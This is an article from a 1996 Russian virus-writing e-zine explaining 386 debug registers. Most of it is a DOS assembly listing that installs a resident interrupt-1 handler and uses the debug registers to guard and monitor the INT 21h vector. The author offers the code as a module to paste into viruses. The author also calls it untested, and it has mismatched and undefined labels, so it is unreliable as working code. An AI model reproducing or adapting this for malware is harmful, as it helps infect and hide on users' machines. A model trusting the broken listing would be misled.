[Death Virii Crew] Presents
CHAOS A.D. Vmag, Issue 1, May 1996                              file 008


              DEBUG регистры на 386 и выше, выше, выше...

                                                                by T0RmenT0R

   Эта статья для тех кто вообще ничего не знает об этих регистрах, так что
профессионалы не найдут здесь ничего нового.

   Несколько слов собственно о них самих.
   На процах 386 и выше существуют регистры отладки. Они позволяют , как
видно из названия выполнять отладочные остановы пограммы как при выполнении
кода программы так и при обращении к данным.Команда на которую указывает
контрольная точка , может располагаться в ПЗУ и на участке кода с самогенера
цией или кодированием. Шесть програмно доступных регистров отладки позволяют
установить четыре адреса точек останова, создать условия при которых произой
дет отладочное прерывание , прочитать состояние проца в контрольных точках.
Эти регистры доступны в реальном и защищеном режимах на нулевом уровне приви
легий (PL=0). Из V86 к ним обращатся нельзя т.к. выскочит 13-й эксепшн.


  Мрачно правда ? А теперь перейдем к вирям. Что из этих регистров можно себе
хорошего взяь? Вот вам пример юзанья этих регсов:

.model tiny
.386p
.code
       org     100h
start:
               jmp     boot

dr_change      db      'Fuck! Debug regs already used! ',"$"
dr7_normst     equ     00d0023f0h
Disable_Mask   equ     0fffff000h
enable_mask    equ     0ffffffffh
int_numb_1     equ     1
Int_numb_2     equ     21h
Intvct_1_old   dd      ?
Intvct_2_old   dd      ?
dr7_mask       dd      enable_mask

;
Initdr32        macro   drnumber,bkpoint
               xor eax,eax
               mov     ecx,bkpoint
               ror     ecx,16
               mov     ax,cx
               shl     eax,4
               xor     cx,cx
               ror     ecx,16
               add     eax,ecx
               mov     dr&drnumber&,eax
               endm
savereg        macro
               pushad
               push    ds
               push    es
               endm

loadreg        macro
               pop     es
               pop     ds
               popad
               endm
;--------------
old_sp         dw      ?
old_ss         dw      ?
;-----------------------
;Процедура обработки 1-ого прерывания
int_default_2_isr:
               mov     cs:[tmp],ax
               mov     cs:[old_sp],sp
               mov     ax,ss
               mov     cs:[old_ss],ax
               mov     ax,cs
               mov     ss,ax
               mov     sp,90h
               mov     ax,cs:[tmp]
               savereg
               push    cs
               pop     ds
;
;
;
tf_int         equ     00004000h
dr_chang_int   equ     00002000h
iv_2_w         equ     00000004h
isr_2_e        equ     00000008h
               mov     eax,dr6
               test    eax,tf_int
               je      short next1
               xor     eax,eax
               mov     dr6,eax
               mov     ebx,dr7_normst
               mov     dr7,ebx
               loadreg
               mov     cs:[tmp],bp
               mov     bp,cs:[old_ss]
               mov     ss,bp
               mov     sp,cs:[old_sp]
               cmp     cs:[dr7_mask],Disable_mask
               jne     dontcleartf
               mov     cs:dr7_mask,enable_mask
               mov     bp,sp
               and     word ptr ss:[bp+4],0feffh
               mov     bp,cs:[tmp]
               iret
dontcleartf:
               jmp     dword ptr cs:[intvct_1_old]
next1:
               test    eax,dr_chang_int
               je      short next2
               mov     dx,offset dr_chang_msg
               mov     ah,9
               int     21h
               mov     ebx,dr7_normst
               mov     dr7,ebx
               jmp     exit_1_isr
next2:
               test    eax,iv_2_w
               jz      short next3
               mov     si,intnumb_2
               jmp     short writevctsub
next3:
               test    eax,isr_2_e
               jz      short exit_1_isr
               mov     si,int_numb_2
               jmp     short exit_1_isr
writevctsub:
               mov     bx,si
               shl     bx,2
               xor     cx,cx
               mov     es,cx
               initdr32 3,es:[bx]
               jmp     short exit_1_isr
exeisrsub:
               call    int_2_isr
               mov     dr7_mask,disable_mask
exit_1_isr:
               xor     eax,eax
               mov     dr6,ax
               mov     ebx,dr7_normst
               mov     dr7,ebx
               loadreg
               mov     cs:[tmp],bp
               mov     bp,cs:[old_ss]
               mov     ss,bp
               mov     sp,cs:[old_sp]
               cmp     cs:[dr7_mask],disable_mask
               jne     dontsettf
               mov     bp,sp
               or      word ptr ss:[bp+4],0100h
dontsettf:
               mov     bp,cs:[tmp]
               iret
;Эта процедура вызывается по второму прерыванию
int_default_2_isr proc
               nop
               iret
int_default_2_isr endp
int_2_isr      proc
               pushf
               call    dword ptr cs:[intvct_2_old]
               ret
int_2_isr     endp

initdr16       macro  drnumber,bkpoint
               xor     eax,eax
               mov     ax,cs
               shl     eax,4
               xor     ebx,ebx
               mov     bx,offset bkpoint
               add     eax,ebx
               mov     dr&drnumber&,eax
               endm
initvar        macro   intnumber,brknumber
               mov     bx,intnumber
               shl     bx,2
               xor     cx,cx
               mov     es,cx
               mov     eax,es:[bx]
               mov     intvct_&brknumber&_old,eax
               mov     ax,cs
               mov     word ptr es:[4*intnumber+2],ax
               mov     word ptr es:[4*intnumber],offset
               int_default&brknumber&_isr
               endm

boot:
               initvar intnumb_1,1
               initvar intnumb_2,2
               initdr16 3,int_default_2_isr\
               xor     edx,edx
               mov     dx,intnumb_2*4
               initdr32 2,edx
               ;clear dr6
               xor     eax,eax
               mov     dr6,eax
               mov     eax,dr7_normst
               mov     dr7,eax
               mov     dx,offset boot
               int     27h
               end start

P.S. Это все еще не тестировалось так что pls не отзываться плохими словами.
Эта прога является чисто илюстративной. Но вы можете ее вклеить в ваш вирий,
проделав несколько изменений в ее листинге.

